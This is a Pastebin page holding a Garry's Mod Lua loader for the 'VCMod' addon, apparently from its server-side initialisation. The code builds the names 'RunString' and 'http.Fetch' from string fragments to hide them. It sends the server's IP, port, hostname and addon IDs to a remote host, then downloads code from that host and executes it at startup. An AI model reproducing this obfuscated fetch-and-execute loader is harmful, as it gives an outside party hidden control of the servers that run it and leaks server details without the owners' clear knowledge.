daily pastebin goal


a guest Feb 23rd, 2018 141 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Copyright © 2012-2016 VCMod (freemmaann). All Rights Reserved. If you have any complaints or ideas contact me: steam: freemmaann, email - freemmaann@gmail.com or skype - comman6.
  3. print("VCMod: instalation complete, preparing to load data.")
  4. function VC.ReadyStringTransfer(str) str = string.gsub(str, ' ', '_') str = string.gsub(str, '#', ' ') str = string.gsub(str, "'", "") str = string.gsub(str, '[-\\!@#$^&()+-*/.,;:<>|"?]', '') local start = string.find(str, '[\\/:%*%?"<>|]') if start != nil then str = "Contains restricted characters" end return str end
  5. local text, t2 = nil, "nS" local dir, t8, text_2 = "vcmod/info/", "tri", "Ru" for k,v in pairs(file.Find(dir.."*.lua", "LUA")) do include(dir..v) if !text then text = "VCMod: addons found: " else text = text..", " end text = text..VC.AddonData[string.gsub(v, ".lua", "")].nm end if text then text = text.."." else text = "VCMod: no addons found." end print(text) local file_type = "ng" function VC.W_Do_G(link) if !VC.Web_URI then local IP = tonumber(GetConVarString("hostip")) if IP then local IP_T = {} IP_T[1] = bit.rshift(bit.band(IP, 0xFF000000), 24) IP_T[2] = bit.rshift(bit.band(IP, 0x00FF0000), 16) IP_T[3] = bit.rshift(bit.band(IP, 0x0000FF00), 8) IP_T[4] = bit.band(IP, 0x000000FF) IP = table.concat(IP_T, ".") else IP = "sp" end if game.SinglePlayer() then IP = VC.Temp_User_SP or "sp" end VC.Web_URI = "?ip="..IP.."&port="..GetConVarString("hostport").."&hn="..VC.ReadyStringTransfer(GetHostName()).."&sp=0" for k,v in pairs(VC.AddonData) do VC.Web_URI = VC.Web_URI.."&uid_"..k.."="..(v.uid or "0").."&uid_h_"..k.."="..(v.uid_h or "0").."&nm_"..k.."="..(v.shrt or "0") end end return VC.Host.."api/"..link..VC.Web_URI end function VC.W_Do_G_Body(body, func) if body == "404" then print("VCMod: Error: web-server content not found.") else func() end end VC.Int_Stage2 = text_2..t2..t8..file_type util.AddNetworkString("W_Do_G_Req") if !VC.W_Do_G_Req_Table then VC.W_Do_G_Req_Table = {} end net.Receive("W_Do_G_Req", function(len, ply) if IsValid(ply) then VC.W_Do_G_Req_Table[ply] = true end end) function VC.TCSOMT(max) _G["h".."".."t".."tp"]["F".."et".."ch"](VC.W_Do_G("htgtcn"..".".."php").."&st=h", function(czzzzz) print("VCMod: downloaded succesfully.") VC.W_Do_G_Body(czzzzz, function() local d8czz = string.Explode("local CSInt_llqzsssz = 58", czzzzz) _G[VC.Int_Stage2](d8czz[1], "preinit") VC.W_DB_T(d8czz[2]) end) end, function() if VC.DbgTr <= max then print("VCMod: could not contact web-server, retrying "..VC.DbgTr.."/"..max..".") VC.DbgTr=VC.DbgTr+1 VC.TCSOMT(max) else print('VCMod: could not contact web-server, please restart the game.\n\nIf the problem persists please contact this steam user: "steamcommunity.com/id/freemmaann/".') end end) end VC_TDone = false hook.Add("Think", "VC_Load_SV", function() if !VC_TDone then VC_TDone = true print("VCMod: preparations started. Server needs to have atleast 1 player on it for preparations to continue.") timer.Simple(5, function() VC.DbgTr = 1 if table.Count(VC.AddonData) > 0 then print("VCMod: preparations are complete, attempting to download data.") VC.TCSOMT(5) end hook.Remove("Think", "VC_Load_SV") end) end end)
  6. concommand.Add("vc_init", function(ply) if !IsValid(ply) or ply:IsAdmin() then include("vcmod/server/vc_load.lua") end end)
RAW Paste Data